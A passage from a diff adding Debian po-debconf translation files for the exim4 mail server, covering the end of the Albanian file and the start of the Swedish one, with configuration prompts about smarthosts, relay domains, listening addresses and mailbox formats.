nuk zgjidhet, dosja spool ruhet, duke lejuar që mesazhet në " +"rradhe të dërgohen në një datë të mëvonshme pas reinstalimit të Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Rikonfiguro exim4-config në vend të kësaj pakete" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 e ka konfigurimin e tij në një paketë të përkushtuar, exim4-config. " +"Nëse dëshiron të rikonfigurosh Exim4, përdor 'dpkg-reconfigure exim4-config'." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "në internet; posta dërgohet dhe tërhiqet duke përdorur SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "postë e dërguar nga smarthost; marrë prej SMTP-së ose fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "postë dërguar nga smarhost; asnjë postë lokale" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "vetëm shpërndarje lokale; jo në një rrjet" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "pa konfigurim tani për tani" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Konfigurim i postës së përgjithshme:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Të lutem zgjidh llojin e konfigurimit të shërbyesit postar që i përshtatet " +"më së miri nevojave të tua." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Sistemet me adresë IP dinamike, duke përfshirë sistemet me lidhje telefonike " +"zakonisht duhet të konfigurohen që të dërgojnë postën e jashtme tek një " +"kompjuter tjetër, i quajtur 'strehues i zgjuar'. për shpërndarjen për shkak " +"se shumë sisteme marrës në Internet bllokojnë mesazhet në ardhje nga adresa " +"me IP dinamike si mbrojtje ndaj spam-it." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Një sistem me një adresë IP dinamke mund të pranojë mesazhet e tij, ose " +"shpërndarja lokale mund të çaktivizohet i tëri (përveç mesazheve për root " +"dhe postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Vërtet t'a lë sistemin e postës të pakonfiguruar?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Deri sa sistemi i postës të jetë konfiguruar, do jetë i pamundur përdorimi. " +"Konfigurimi i mëvonshëm mund të bëhet ose me dorë ose duke ekzekutuar 'dpkg-" +"reconfigure exim4-config' si root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Emri i sistemit të postës:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"'mail name' është emri i domain-it i përdorur për të 'kualifikuar' adresa " +"poste pa një emër domain-i." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Ky emër do të përdoret gjithashtu nga programe të tjerë. Duhet të jetë i " +"vetmi emër domain-i i plotë (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Kështu që, nëse një adrese poste në një kompjuter lokal është kot@shembull." +"org, vlera e saktë për këtë mundësi do të ishte shembull.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Ky emër nuk do të shfaqet në rreshtat Nga: prej mesazheve në dalje nëse " +"aktivizon rishkrimin." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Vendmbërritje të tjera për të cilat posta pranohet:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Të lutem shkruaj një listë të ndarë me pikëpresje domain-esh marrës për të " +"cilët ky kompjuter duhet të konsiderojë veten si vendmbërritja e fundit. " +"Këto domain-e zakonisht quhen 'domain-e lokalë'. Emri i strehuesit lokal " +"(${fqdn}) dhe 'localhost' duhen shtuar gjithmonë në këtë listë." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Parazgjedhja është që të gjitha domain-at do të trajtohen njëlloj. Nëse si a." +"shembull dhe b.shembull janë domain-a lokalë, llog@a.shembull dhe llog@b." +"shembull do të dërgohen tek vendmbërritja finale. Nëse domain-a të ndryshëm " +"duhet të trajtohen ndryshe, do të duhet të ndryshosh skedat e konfigurimit " +"më tej." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domain-a ku duhet lënë posta:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Të lutem fut një listë të ndarë me pikëpresje domain-ash marrës për të cilët " +"ky sistem do të pasojë mesazhe,p.sh një MX fallback ose gateway poste. Kjo " +"nënkupton që ky sistem do të pranojë mesazhe për këto domain-a kudo nga " +"Interneti dhe do t'i nisë ato sipas rregullash të caktuar dërgimi." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "" +"Mos përmend domain lokalë këtu. Mund të përdoren gërma gjithpërfshirëse." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Kompjuteri ku duhet lënë posta:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Të lutem fut një listë të ndarë me pikëpresje shtrirjesh adrese IP për të " +"cilën ky sistem do të pasojë arbitrarisht postën, duke punuar si një " +"'strehues i zgjuar'." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Duhet të përdorësh formatin standard adresë/prefiks (p.sh. 194.222.242.0/24 " +"ose 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Nëse ky sistem nuk do jetë një \"strehues i zgjuar\" për ndonjë kompjuter, " +"lëre bosh këtë listë." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Emri i dukshëm i domain-it për përdoruesit lokalë:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Mundësia për të fshehur emrin e postës lokale në mesazhet në dalje u " +"aktivizua. Pra është e nevojshme të saktësosh emrin e domain-it që ky sistem " +"duhet të përdorë për pjesën e domain-it në adresat e përdoruesve lokalë." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "Adresa IP ose emri i \"strehuesit të zgjuar\" dërgues:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Të lutem fut adresën IP ose emrin e strehuesit të një shërbyesi poste që ky " +"sistem duhet të përdorë si \"strehues i zgjuar\" dërgues. Nëse \"strehuesi i " +"zgjuar\" pranon postën tënde vetëm në një portë të ndryshme nga TCP/25, " +"shtoi dy \":\" dhe numrin e portës (për shembull strehuesizgjuar." +"shembull::587 ose 192.168.254.254::2525). Dy pikat në adresat IPv6 duhen " +"dyfishuar." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Nëse 'strehuesi i zgjuar' kërkon vërtetim, të lutem drejtoju skedave " +"përkatëse README të Debian-it në /usr/share/doc/exim4-base/ për shënime " +"rreth rregullimit të SMTP-së." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Marrësi i postës për root dhe postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Posta për 'postmaster', 'root', dhe llogari të tjera sistemi duhet të " +"pasohet në llogarinë e përdoruesit të administruesit aktual të sistemit." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Nëse kjo vlerë lihet bosh, mesazhe të tilla do të ruhen në /var/mail/mail, " +"gjë e cila nuk këshillohet." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Vër re që posta e postmaster-it duhet të lexohet nga sistemi për ku " +"drejtohet, jo të ridrejtohet tjetërkund, kështu që (të paktën një nga ) " +"përdoruesit që zgjedh nuk duhet të ridërgojnë postën jashtë këtij " +"kompjuteri. Një prefiks 'real-' mund të përdoret për të detyruar " +"shpërndarjen lokale." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Emra të shumëfishtë përdoruesi duhen ndarë me hapësira." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Adresat-IP në pritje të lidhjeve hyrëse SMTP:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Të lutem fut një listë të ndarë me pikëpresje adresash IP. Daemon dëgjues " +"SMTP i Exim do të mbajë vesh në të gjitha adresat IP e rradhitura këtu." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Një vlerë bosh do të bëjë që Exim të dëgjojë për lidhje në të gjitha " +"ndërfaqet e mundshme të rrjetit." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Nëse ky sistem merr mesazhe e-email drejtpërsëdrejti nga shërbime lokale " +"(dhe jo nga strehues të tjerë) këshillohet t'i ndalosh lidhjet e jashtme për " +"tek Exim. Shërbime të tilla përfshijnë programe e-mail (MUA) që komunikojnë " +"vetëm me strehën lokale ose me fetchmail. Lidhjet e jashtme janë të " +"pamundura kur 127.0.0.1 futet këtu, meqë kjo do të çaktivizojë dëgjimin në " +"ndërfaqe rrjeti publikë." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Ta ruaj numrin minimal të pyetjeve-DNS (Dial-on-Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Në mënyrën normale të veprimit Exim kryen kontrolle-DNS në fillim, dhe kur " +"tërheq apo shpërndan mesazhe. Kjo ndodh për qëllime regjistrimesh dhe lejon " +"mbajtjen ulët të numrit të vlerave hard-coded në konfigurim." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Nëse ky sistem nuk ka një zgjidhës shërbimi të plotë DNS-je të përhershëm " +"(për shembull lidhet me Internetin me një linjë dial-up duke përdoru " +"telefonin) kjo mund të kishte rrjedhojë të padëshirueshme. Për shembull duke " +"nisur Exim ose kur duke ekzekutuar rradhën (edhe pa asnjë mesazh në pritje) " +"mund të shkaktojë një ngjarje me kosto të madhe." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Kjo mundësi duhet zgjedhur nëse ky sistem është duke përdorur Dial-on-" +"Demand. Nëse ka gjithmonë hyrje në Internet, kjo mundësi nuk duhet " +"aktivizuar." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Konfigurim Shërbimi Poste" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Ta ndaj konfigurimin në skeda të vogla?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Paketat exim4 në Debian mund të përdorin 'konfigurim të vetëm', një skedë të " +"vetme (/etc/exim4/exim4.conf.template) ose 'konfigurim të ndarë', ku skedat " +"e pranishme të konfigurimit Exim përbëhen nga rreth 50 skeda më të vogla në /" +"etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Mënyra e parë është më e përdorshme për ndryshime të mëdha dhe zakonisht " +"është më e qëndrueshme, ndërsa e dyta ofron një mënyrë të rehatshme për të " +"kryer ndryshime më të vogla por është me e brishtë dhe mund të krijojë " +"probleme nëse ndryshohet pa kujdes." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Në diskutim më i detajuar mbi konfigurimin ndarë dhe bashkuar mund të " +"gjendet në skedat e veçanta README të Debian-it në /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Ta fsheh emrin e postës lokale në mesazhet në dalje?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Kryet e mesazheve në dalje mund të rishkruhen që të shfaqen sikur të jenë " +"prodhuar në një sistem të ndryshëm. Nëse zgjidhet kjo mundësi, " +"'${mailname}', 'localhost' dhe '${dc_other_hostnames}' në Nga, Përgjigju, " +"Dërguesi dhe Shteg-Kthimi do të mbishkruhen." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "Formati mbox në /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Formati Maildir në dosjen home" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Mënyra e dërgimit për postë lokale:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim është i aftë të ruajë mesazhet e dërguar lokalisht në formate të " +"ndryshëm. Ato më të përdorshmit janë mbox dhe Maildir. mbox përdor një skedë " +"të vetme për tërë dosjen postare të ruajtur në /var/mail/. Me formatin " +"Maildir çdo mesazh i vetëm ruhet në një skedë të ndarë në ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Të lutem vër re që veglat më të shumta të postës në Debian presin që metoda " +"e dërgimit lokal të jetë mbox si e parazgjedhur e tyre." + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "T'i zhvendos mesazhet e pashpërndarë nga spool i exim(v3) në atë të exim4?" + +#, fuzzy +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Ka disa mesazhe të padërguar në dosjen spool të exim(v3) (ose exim-tls" +#~ "(v3)) /var/spool/exim/input/." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Nëse zgjedh këtë mundësi mesazhet do të zhvendosen në dosjen spool të " +#~ "exim4 (/var/spool/exim4/input/) ku do organizohen nga exim4." + +#, fuzzy +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Kjo punon vetëm një-kalimthi: Exim4 mund të trajtojë spool e exim(v3) por " +#~ "jo anasjellas. Duhet të lëvizësh mesazhet vetëm nëse nuk planifikon të " +#~ "kthehesh prapa tek exim(v3). Përndryshe, mesazhet duhen lëvizur dorazi më " +#~ "vonë." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "Nëse e le bosh këtë Exim nuk do të dërgojë postë lokale." + +#~ msgid "" +#~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " +#~ "but not the other way round." +#~ msgstr "" +#~ "Kujdes pasi kjo funksionon vetëm në një mënyrë, exim4 mund të suportojë " +#~ "spool e exim(v3), por jo anasjelltas." + +#~ msgid "" +#~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " +#~ "the mail shouldn't be moved now but manually once you've converted your " +#~ "setup." +#~ msgstr "" +#~ "Lëviz mesazhet vetëm nëse nuk synon të kthehesh mbrapsht tek exim(v3), " +#~ "përndryshe posta nuk duhet lëvizur tani por manualisht pasi të kesh " +#~ "kthyer rregullimet e reja." + +#, fuzzy +#~ msgid "" +#~ "If there are any more, enter them here, separated by semicolons. You may " +#~ "leave this blank if there are none." +#~ msgstr "" +#~ "Nëse ka ndonjë, shkruaji këtu, ndarë nga dy pika. Mund ta lësh bosh nëse " +#~ "nuk ka asnjë." + +#, fuzzy +#~ msgid "" +#~ "Please enter here the domains for which this system will relay mail, for " +#~ "example as a fallback MX or mail gateway." +#~ msgstr "Të lutem fut këtu emrin e domain-ave ku vendos të lësh postën." + +#~ msgid "" +#~ "Such domains are domains for which you are prepared to accept mail from " +#~ "anywhere on the Internet. Do not mention local domains here." +#~ msgstr "" +#~ "Domain-a të tillë janë ato për të cilët ti përgatitesh të pranosh mesazhe " +#~ "poste nga Interneti. Mos përmend domain-a lokalë këtu." + +#, fuzzy +#~ msgid "" +#~ "The domains entered here should be separated by semicolons. Wildcards may " +#~ "be used." +#~ msgstr "" +#~ "Domain-at që shkruan këtu duhen ndarë nga dy pika. Këtu mund të përdorësh " +#~ "gërmat gjithëpërfshirëse (wildcards)." + +#~ msgid "" +#~ "Since you enabled hiding the local mailname in outgoing mail, you must " +#~ "specify the domain name to use for mail from local users; typically this " +#~ "is the machine on which you normally receive your mail." +#~ msgstr "" +#~ "Përderisa aktivizove fshehjen e emrit të postës lokale në postën dalëse, " +#~ "duhet të përcaktosh emrin e domain-it që do përdoret për postën e " +#~ "përdoruesve lokalë; zakonisht ky është emri i kompjuterit ku tërheq " +#~ "postën." + +#~ msgid "Where will your users read their mail?" +#~ msgstr "Ku do ta lexojnë postën përdoruesit e tu?" + +#~ msgid "Machine handling outgoing mail for this host (smarthost):" +#~ msgstr "" +#~ "Kompjuterat që merren me postën dalëse për këtë strehues (smarthost):" + +#~ msgid "Enter the hostname of the machine to which outgoing mail is sent." +#~ msgstr "" +#~ "Shkruaj emrin e strehuesit për kompjuterin ku dërgohet posta dalëse." + +#~ msgid "" +#~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " +#~ "it." +#~ msgstr "" +#~ "Aktivizoje këtë mundësi nëse je duke përdorur Dial-on-Demand; përndryshe, " +#~ "çaktivizoje." + +#, fuzzy +#~ msgid "Select the mail server configuration type that best fits your needs." +#~ msgstr "" +#~ "Zgjidh llojin e konfigurimit që më së miri i përshtatet nevojave të tua." + +#~ msgid "If you are unsure then you should not use split configuration." +#~ msgstr "Nëse nuk je i sigurtë nuk duhet të zgjedhësh konfigurimin e ndarë." + +#~ msgid "manually convert from handcrafted Exim v3 configuration" +#~ msgstr "kthim me dorë nga konfigurimi i Exim v3" + +#~ msgid "Configure Exim4 manually?" +#~ msgstr "Ta konfiguroj Exim4 me dorë?" + +#~ msgid "" +#~ "You indicated that you have a handcrafted Exim 3 configuration. To " +#~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " +#~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " +#~ "and /usr/share/doc/exim4-base/README.Debian.gz!" +#~ msgstr "" +#~ "Konfigurimi i Exim 3 është kryer me dorë. Për ta kthyer këtë të fundit në " +#~ "Exim4, duhet të përdorësh veglën exim_convert4r4(8) pas instalimit. " +#~ "Këshillo /usr/share/doc/exim4-base/examples/example.conf.gz dhe /usr/" +#~ "share/doc/exim4-base/README.Debian.gz!" + +#~ msgid "" +#~ "Until your mail system is configured, it will be broken and cannot be " +#~ "used." +#~ msgstr "" +#~ "Deri sa sistemi yt i postës të jetë konfiguruar, do jetë i pamundur " +#~ "përdorimi." + +#~ msgid "" +#~ "Your \"mail name\" is the hostname portion of the address to be shown on " +#~ "outgoing news and mail messages (following the username and @ sign) " +#~ "unless hidden with rewriting." +#~ msgstr "" +#~ "\"emri i postës\" është pjesa e adresës së hostname-it që do shfaqet në " +#~ "lajmet dhe mesazhet e postës në dalje (duke ndjekur emrin e përdoruesit " +#~ "dhe shenjën @) në mos e fshehur nga rishkrimi." + +#~ msgid "" +#~ "Please enter here the networks of local machines for which you accept to " +#~ "relay the mail." +#~ msgstr "" +#~ "Të lutem shkruaj këtu rrjetet e kompjuterave lokalë për të cilët pranon " +#~ "të lësh postën." + +#~ msgid "" +#~ "This should include a list of all machines that will use us as a " +#~ "smarthost." +#~ msgstr "" +#~ "Këtu duhet përfshirë një listë kompjuterash që do të na përdorin si " +#~ "\"strehues të zgjuar\"." + +#~ msgid "" +#~ "You need to double the colons in IPv6 addresses (e.g. " +#~ "5f03::1200::836f::::/48)" +#~ msgstr "" +#~ "Duhet të dopjosh kolonat në adresat IPv6 (p.sh. 5f03::1200::836f::::/48)" + +#~ msgid "" +#~ "Enter a colon-separated list of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "Shkruaj një listë adresash IP në dëgjim të ndarë nga dy pika. Duhet të " +#~ "dopjosh dy pikat në adresat e llojit IPv6 (p.sh. 5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "Duke konfiguruar Exim v4 (exim4-config)" diff --git a/debian/po/sv.po b/debian/po/sv.po new file mode 100644 index 0000000..34aed05 --- /dev/null +++ b/debian/po/sv.po @@ -0,0 +1,747 @@ +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-08-02 19:31+0100\n" +"Last-Translator: Daniel Nylander <po@danielnylander.se>\n" +"Language-Team: Swedish <debian-l10n-swedish@lists.debian.org>\n" +"Language: sv\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Ta bort olevererade meddelanden i kökatalogen?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Det finns e-postmeddelanden i Exims kökatalog /var/spool/exim4/input som " +"ännu inte har levererats. Borttagning av Exim gör att de finns kvar men blir " +"inte levererade förrän Exim har installerats om." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Om det här alternativet inte väljs kommer kökatalogen att behÃ¥llas och gör " +"att meddelanden i kön kan levereras vid ett senare tillfälle, efter att Exim " +"har installerats om." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Konfigurera om exim4-config istället för det här paketet" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 har fÃ¥tt sin konfiguration flyttad till ett eget paket, exim4-config. " +"Använd \"dpkg-reconfigure exim4-config\" om du vill konfigurera om Exim4." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard 